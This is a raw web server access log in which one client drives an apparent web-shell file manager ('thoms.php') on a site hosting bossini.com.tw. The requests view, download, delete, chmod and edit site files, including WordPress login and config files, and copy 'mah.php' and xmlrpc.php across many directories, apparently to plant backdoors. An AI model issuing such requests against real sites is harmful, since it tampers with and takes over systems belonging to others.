45.135.193.11 - - [11/Sep/2026:23:29:52 -0400] "GET /bossini.com.tw/bridge-archive/admin.php HTTP/1.1" 200 985 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:53 -0400] "GET /thoms.php?p=bossini.com.tw HTTP/1.1" 200 18845 "https://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Flicense.txt&finish=1&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:53 -0400] "GET /thoms.php?p=bossini.com.tw%2Fbridge-archive&view=license.txt HTTP/1.1" 200 11910 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fbridge-archive&view=license.txt" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:53 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fbridge-archive%2Fprofile.php&p=bossini.com.tw%2Fbridge-archive HTTP/1.1" 200 11356 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fbridge-archive%2Fprofile.php&p=bossini.com.tw%2Fbridge-archive" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:53 -0400] "GET /thoms.php?dl=profile.php&p=bossini.com.tw%2Fbridge-archive HTTP/1.1" 200 13093 "http://163.245.207.76:443/thoms.php?dl=profile.php&p=bossini.com.tw%2Fbridge-archive" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:53 -0400] "GET /thoms.php?p=bossini.com.tw%2Fbridge-archive&settings=1 HTTP/1.1" 200 11917 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fbridge-archive&settings=1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:53 -0400] "GET /thoms.php?del=index.php&p=bossini.com.tw%2Fbridge-archive HTTP/1.1" 200 13093 "http://163.245.207.76:443/thoms.php?del=index.php&p=bossini.com.tw%2Fbridge-archive" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:53 -0400] "GET /bossini.com.tw/bridge-archive/profile.php HTTP/1.1" 503 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:53 -0400] "GET /thoms.php?dl=index.php&p=bossini.com.tw%2Fbridge-archive HTTP/1.1" 200 13412 "http://163.245.207.76:443/thoms.php?dl=index.php&p=bossini.com.tw%2Fbridge-archive" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:53 -0400] "GET /thoms.php?p=bossini.com.tw%2Fbridge-archive&view=admin.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fbridge-archive&view=admin.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:53 -0400] "GET /thoms.php?dl=admin.php&p=bossini.com.tw%2Fbridge-archive HTTP/1.1" 200 13405 "http://163.245.207.76:443/thoms.php?dl=admin.php&p=bossini.com.tw%2Fbridge-archive" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:53 -0400] "GET /thoms.php?chmod=profile.php&p=bossini.com.tw%2Fbridge-archive HTTP/1.1" 200 11508 "http://163.245.207.76:443/thoms.php?chmod=profile.php&p=bossini.com.tw%2Fbridge-archive" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:53 -0400] "GET /thoms.php?p=bossini.com.tw%2Fbridge-archive HTTP/1.1" 200 13413 "https://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fbridge-archive&view=admin.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:53 -0400] "GET /bossini.com.tw/bridge-archive/license.txt HTTP/1.1" 200 69 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:53 -0400] "GET /thoms.php?del=license.txt&p=bossini.com.tw%2Fbridge-archive HTTP/1.1" 200 13413 "http://163.245.207.76:443/thoms.php?del=license.txt&p=bossini.com.tw%2Fbridge-archive" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:53 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fbridge-archive%2Fadmin.php&p=bossini.com.tw%2Fbridge-archive HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fbridge-archive%2Fadmin.php&p=bossini.com.tw%2Fbridge-archive" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:54 -0400] "GET /thoms.php?del=profile.php&p=bossini.com.tw%2Fbridge-archive HTTP/1.1" 200 13413 "http://163.245.207.76:443/thoms.php?del=profile.php&p=bossini.com.tw%2Fbridge-archive" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:54 -0400] "GET /thoms.php?p=bossini.com.tw%2Fbridge-archive&view=index.php HTTP/1.1" 200 11843 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fbridge-archive&view=index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:54 -0400] "GET /thoms.php?p=bossini.com.tw%2Fbridge-archive HTTP/1.1" 200 13413 "https://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fbridge-archive%2Fadmin.php&p=bossini.com.tw%2Fbridge-archive" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:54 -0400] "GET /thoms.php?dl=license.txt&p=bossini.com.tw%2Fbridge-archive HTTP/1.1" 200 13413 "http://163.245.207.76:443/thoms.php?dl=license.txt&p=bossini.com.tw%2Fbridge-archive" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:54 -0400] "GET /bossini.com.tw/bridge-archive/index.php HTTP/1.1" 200 6453 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:54 -0400] "GET /thoms.php?chmod=admin.php&p=bossini.com.tw%2Fbridge-archive HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=admin.php&p=bossini.com.tw%2Fbridge-archive" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:54 -0400] "GET /thoms.php?del=admin.php&p=bossini.com.tw%2Fbridge-archive HTTP/1.1" 200 13412 "http://163.245.207.76:443/thoms.php?del=admin.php&p=bossini.com.tw%2Fbridge-archive" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:54 -0400] "GET /bossini.com.tw/bridge-archive HTTP/1.1" 301 795 "http://163.245.207.76:443/bossini.com.tw/bridge-archive" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:54 -0400] "GET /thoms.php?p=bossini.com.tw%2Fbridge-archive HTTP/1.1" 200 13414 "https://163.245.207.76:443/thoms.php?chmod=admin.php&p=bossini.com.tw%2Fbridge-archive" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:54 -0400] "GET /bossini.com.tw/bridge-archive/ HTTP/1.1" 200 6436 "https://163.245.207.76:443/bossini.com.tw/bridge-archive" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:54 -0400] "GET /thoms.php?chmod=index.php&p=bossini.com.tw%2Fbridge-archive HTTP/1.1" 200 11500 "http://163.245.207.76:443/thoms.php?chmod=index.php&p=bossini.com.tw%2Fbridge-archive" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:54 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fbridge-archive%2Findex.php&p=bossini.com.tw%2Fbridge-archive HTTP/1.1" 200 11354 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fbridge-archive%2Findex.php&p=bossini.com.tw%2Fbridge-archive" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:54 -0400] "GET /thoms.php?chmod=license.txt&p=bossini.com.tw%2Fbridge-archive HTTP/1.1" 200 11516 "http://163.245.207.76:443/thoms.php?chmod=license.txt&p=bossini.com.tw%2Fbridge-archive" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:54 -0400] "GET /thoms.php?p=bossini.com.tw%2Fbridge-archive&view=profile.php HTTP/1.1" 200 11852 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fbridge-archive&view=profile.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:54 -0400] "GET /bossini.com.tw/cgi-bin/?ND= HTTP/1.1" 200 691 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:54 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fbridge-archive%2Flicense.txt&p=bossini.com.tw%2Fbridge-archive HTTP/1.1" 200 11354 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fbridge-archive%2Flicense.txt&p=bossini.com.tw%2Fbridge-archive" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:54 -0400] "GET /thoms.php?edit=readme.html&env=ace&p=bossini.com.tw HTTP/1.1" 200 18604 "http://163.245.207.76:443/thoms.php?edit=readme.html&env=ace&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:54 -0400] "GET /bossini.com.tw/cgi-bin/?MA= HTTP/1.1" 200 691 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:54 -0400] "GET /bossini.com.tw/cgi-bin/?SA= HTTP/1.1" 200 691 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:54 -0400] "GET /thoms.php?edit=readme.html&p=bossini.com.tw HTTP/1.1" 200 14980 "http://163.245.207.76:443/thoms.php?edit=readme.html&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:55 -0400] "GET /bossini.com.tw/cgi-bin HTTP/1.1" 301 795 "http://163.245.207.76:443/bossini.com.tw/cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:55 -0400] "GET /thoms.php?p=bossini.com.tw%2Fcgi-bin&upload= HTTP/1.1" 200 12176 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fcgi-bin&upload=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:55 -0400] "GET /thoms.php?p=bossini.com.tw%2Fcgi-bin&settings=1 HTTP/1.1" 200 11914 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fcgi-bin&settings=1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:55 -0400] "GET /bossini.com.tw/cgi-bin/ HTTP/1.1" 200 691 "https://163.245.207.76:443/bossini.com.tw/cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:55 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fmah.php&p=bossini.com.tw%2Fwp-content HTTP/1.1" 200 11466 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fmah.php&p=bossini.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:55 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fmah.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11865 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fmah.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:55 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fmah.php&p=bossini.com.tw%2F.well-known HTTP/1.1" 200 11403 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fmah.php&p=bossini.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:55 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fmah.php&p=bossini.com.tw%2Fbridge-archive HTTP/1.1" 200 11350 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fmah.php&p=bossini.com.tw%2Fbridge-archive" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:55 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fmah.php&p=bossini.com.tw%2Fupgrade HTTP/1.1" 200 11344 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fmah.php&p=bossini.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:55 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fmah.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11463 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fmah.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:55 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fmah.php&finish=1&p=bossini.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fmah.php&finish=1&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:55 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fmah.php&p= HTTP/1.1" 200 12318 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fmah.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:55 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fmah.php&finish=1&move=1&p=bossini.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fmah.php&finish=1&move=1&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:55 -0400] "GET /thoms.php?p=bossini.com.tw HTTP/1.1" 200 19005 "https://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fmah.php&finish=1&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:55 -0400] "GET /thoms.php?p=bossini.com.tw HTTP/1.1" 200 19006 "https://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fmah.php&finish=1&move=1&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:55 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fmah.php&p=bossini.com.tw%2Fcgi-bin HTTP/1.1" 200 11346 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fmah.php&p=bossini.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:55 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fmah.php&p=bossini.com.tw%2Ftransfer-sample HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fmah.php&p=bossini.com.tw%2Ftransfer-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:56 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22187 "https://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fmah.php&p=bossini.com.tw%2Ftransfer-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:56 -0400] "GET /thoms.php?edit=wp-login.php&p=bossini.com.tw HTTP/1.1" 200 28822 "http://163.245.207.76:443/thoms.php?edit=wp-login.php&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:56 -0400] "GET /thoms.php?edit=wp-login.php&env=ace&p=bossini.com.tw HTTP/1.1" 200 32481 "http://163.245.207.76:443/thoms.php?edit=wp-login.php&env=ace&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:56 -0400] "GET /thoms.php?edit=wp-config-sample.php&p=bossini.com.tw HTTP/1.1" 200 13046 "http://163.245.207.76:443/thoms.php?edit=wp-config-sample.php&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:56 -0400] "GET /thoms.php?edit=wp-config-sample.php&env=ace&p=bossini.com.tw HTTP/1.1" 200 16639 "http://163.245.207.76:443/thoms.php?edit=wp-config-sample.php&env=ace&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:56 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fxmlrpc.php&p=bossini.com.tw%2Ftransfer-sample HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fxmlrpc.php&p=bossini.com.tw%2Ftransfer-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:56 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fxmlrpc.php&p=bossini.com.tw%2Fwp-content HTTP/1.1" 200 11469 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fxmlrpc.php&p=bossini.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:56 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fxmlrpc.php&finish=1&p=bossini.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fxmlrpc.php&finish=1&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:56 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22174 "https://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fxmlrpc.php&p=bossini.com.tw%2Ftransfer-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:56 -0400] "GET /thoms.php?p=bossini.com.tw HTTP/1.1" 200 19158 "https://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fxmlrpc.php&finish=1&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:56 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fxmlrpc.php&p=bossini.com.tw%2F.well-known HTTP/1.1" 200 11396 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fxmlrpc.php&p=bossini.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:56 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fxmlrpc.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11454 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fxmlrpc.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:56 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fxmlrpc.php&p=bossini.com.tw%2Fbridge-archive HTTP/1.1" 200 11350 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fxmlrpc.php&p=bossini.com.tw%2Fbridge-archive" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:56 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fxmlrpc.php&p=bossini.com.tw%2Fupgrade HTTP/1.1" 200 11347 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fxmlrpc.php&p=bossini.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:56 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fxmlrpc.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11859 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fxmlrpc.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:56 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fxmlrpc.php&finish=1&move=1&p=bossini.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fxmlrpc.php&finish=1&move=1&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:57 -0400] "GET /bossini.com.tw/transfer-sample/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2Ftransfer-sample%2F&location=%2F HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:57 -0400] "GET /bossini.com.tw/transfer-sample/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2Ftransfer-sample%2F&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2F HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:57 -0400] "GET /thoms.php?p=bossini.com.tw HTTP/1.1" 200 19156 "https://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fxmlrpc.php&finish=1&move=1&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:57 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fxmlrpc.php&p= HTTP/1.1" 200 12317 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fxmlrpc.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
